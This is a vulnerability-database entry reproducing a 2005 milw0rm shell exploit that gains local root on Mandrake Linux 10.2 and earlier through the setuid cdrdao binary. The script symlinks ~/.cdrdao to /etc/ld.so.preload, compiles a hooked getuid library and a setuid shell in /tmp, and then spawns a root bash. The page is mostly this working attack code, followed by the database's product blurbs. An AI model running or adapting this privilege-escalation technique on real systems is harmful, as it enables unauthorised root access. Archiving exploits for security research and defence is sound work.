Lucene search
K

Linux Mandrake <= 10.2 cdrdao Local Root Exploit (unfixed)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Linux Mandrake <= 10.2 cdrdao Local Root Exploit (unfixed

Code

                                                #!/bin/sh
# cdrdao local root exploit
# newbug [at] chroot.org
# IRC: irc.chroot.org #chroot
# May 2005
echo &#34;cdrdao private exploit&#34;
echo &#34;This exploit only for Mandrake series&#34;
echo &#34;newbug [at] chroot.org&#34;
echo &#34;May 2005&#34;

echo &#34;checking if cdrdao is setuid ...&#34;;
if [ ! -u /usr/bin/cdrdao ]; then
       echo &#34;[-] Failed&#34;;
       exit
fi
echo &#34;[+] done.&#34;;
echo &#34;checking if /etc/ld.so.preload already exist ...&#34;
if [ -f /etc/ld.so.preload ]; then
       echo &#34;[-] Failed.&#34;
       exit
else
       echo &#34;[+] done.&#34;
fi

echo &#34;checking if ~/.cdrdao already exist ...&#34;
if [ -f ~/.cdrdao ]; then
       rm -rf ~/.cdrdao
fi
echo &#34;[+] done.&#34;

cd /tmp

echo &#34;preparing hook library ...&#34;
cat &#62;ld.so.c&#60;&#60;EOF
#include &#60;stdlib.h&#62;
uid_t getuid()
{
       return 0;
}
EOF
echo &#34;[+] done.&#34;
echo &#34;preparing shell program ...&#34;
cat &#62;sh.c &#60;&#60;EOF
#include &#60;stdio.h&#62;
#include &#60;unistd.h&#62;

int main(int argc,char **argv)
{
       setreuid(0,0);
       setgid(0);

       unlink(&#34;/tmp/ld.so&#34;);
       if(getuid())
       {
               printf(&#34;[-] Failed.\n&#34;);
               unlink(argv[0]);
               exit(0);
       }
       printf(&#34;[+] Congratulation, You win the game !!\n&#34;);
       unlink(&#34;/etc/ld.so.preload&#34;);

       execl(&#34;/bin/bash&#34;,&#34;bash&#34;,(char *)0);

       return 0;
}
EOF
echo &#34;[+] done.&#34;

echo &#34;link .cdrdao ==&#62; /etc/ld.so.preload ...&#34;
ln -sf /etc/ld.so.preload ~/.cdrdao
echo &#34;[+] done.&#34;

echo &#34;compile hook library ...&#34;
gcc -shared -o ld.so ld.so.c
echo &#34;[+] done.&#34;
echo &#34;compile shell program ...&#34;
gcc -o sh sh.c
echo &#34;[+] done.&#34;

umask 0

echo &#34;run cdrdao ...&#34;
cdrdao unlock --save &#62;/dev/null 2&#62;&1
echo &#34;[+] done.&#34;

echo &#34;checking if /etc/ld.so.preload created successful...&#34;
if [ -f /etc/ld.so.preload ]; then
       echo &#34;[+] done.&#34;
else
       echo &#34;[-] Failed.&#34;
       exit
fi
echo &#34;/tmp/ld.so&#34;&#62;/etc/ld.so.preload
rm -f /tmp/sh.c
rm -f /tmp/ld.so.c
su -c &#34;chown root.root /tmp/sh;chmod 4755 /tmp/sh&#34; &#62;/dev/null 2&#62;&1
echo &#34;!@#\$@%#$%#$%!@%^&#34;
/tmp/sh

# milw0rm.com [2005-05-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18